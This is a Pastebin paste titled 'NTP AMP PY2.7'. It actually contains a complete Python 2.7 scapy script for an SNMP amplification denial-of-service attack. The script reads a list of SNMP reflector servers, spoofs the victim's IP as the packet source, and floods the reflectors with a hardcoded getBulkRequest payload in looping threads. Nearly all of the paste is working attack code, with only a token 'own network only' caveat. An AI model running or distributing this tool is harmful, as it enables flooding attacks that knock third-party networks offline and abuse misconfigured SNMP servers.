pawn007

NTP AMP PY2.7

Feb 21st, 2019
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.38 KB | None | 0 0
  1. #!/usr/bin/env python
  2. from scapy.all import *
  3. import sys
  4. import threading
  5. import time
  6. #SNMP Amp DOS attack
  7. #by DaRkReD
  8. #usage snmpdos.py <target ip> <snmpserver list> <number of threads> ex: snmpdos.py 1.2.3.4 file.txt 10
  9. #FOR USE ON YOUR OWN NETWORK ONLY
  10.  
  11.  
  12. #packet sender
  13. def deny():
  14. #Import globals to function
  15. global snmplist
  16. global currentserver
  17. global data
  18. global target
  19. snmpserver = snmplist[currentserver] #Get new server
  20. currentserver = currentserver + 1 #Increment for next
  21. packet = IP(dst=snmpserver,src=target)/UDP(sport=161,dport=161)/Raw(load=data) #BUILD IT
  22. send(packet,loop=1) #SEND IT
  23.  
  24. #So I dont have to have the same stuff twice
  25. def printhelp():
  26. print "SNMP Amplification DOS Attack"
  27. print "By DaRkReD"
  28. print "Usage snmpdos.py <target ip> <snmpserver list> <number of threads>"
  29. print "ex: ex: snmpdos.py 1.2.3.4 file.txt 10"
  30. print "SNMP serverlist file should contain one IP per line"
  31. print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"
  32. exit(0)
  33.  
  34. if len(sys.argv) < 4:
  35. printhelp()
  36. #Fetch Args
  37. target = sys.argv[1]
  38.  
  39. #Help out idiots
  40. if target in ("help","-h","h","?","--h","--help","/?"):
  41. printhelp()
  42.  
  43. snmpserverfile = sys.argv[2]
  44. numberthreads = int(sys.argv[3])
  45. #System for accepting bulk input
  46. snmplist = []
  47. currentserver = 0
  48. with open(snmpserverfile) as f:
  49. snmplist = f.readlines()
  50.  
  51. #Make sure we dont out of bounds
  52. if numberthreads > int(len(snmplist)):
  53. print "Attack Aborted: More threads than servers"
  54. print "Next time dont create more threads than servers"
  55. exit(0)
  56.  
  57. #Magic Packet getBulkEequest
  58. data = "\x30\x37\x02\x01" #snmp
  59. data += "\x01" #v2
  60. data += "\x04\x06\x70\x75\x62\x6c\x69\x63" #community=public
  61. data += "\xa5\x2a\x02\x04\x06\x29\x07\x31\x02\x01\x00\x02\x01\x0a\x30\x1c\x30\x0b\x06\x07\x2b\x06\x01\x02\x01\x01\x01\x05\x00\x30\x0d\x06\x09\x2b\x06\x01\x02\x01\x01\x09\x01\x03\x05\x00" #getBulkRequest
  62.  
  63.  
  64. #Hold our threads
  65. threads = []
  66. print "Starting to flood: "+ target + " using snmp list: " + snmpserverfile + " With " + str(numberthreads) + " threads"
  67. print "Use CTRL+C to stop attack"
  68.  
  69. #Thread spawner
  70. for n in range(numberthreads):
  71. thread = threading.Thread(target=deny)
  72. thread.daemon = True
  73. thread.start()
  74.  
  75. threads.append(thread)
  76.  
  77. #In progress!
  78. print "Sending..."
  79.  
  80. #Keep alive so ctrl+c still kills all them threads
  81. while True:
  82. time.sleep(1)
Add Comment
Please, Sign In to add comment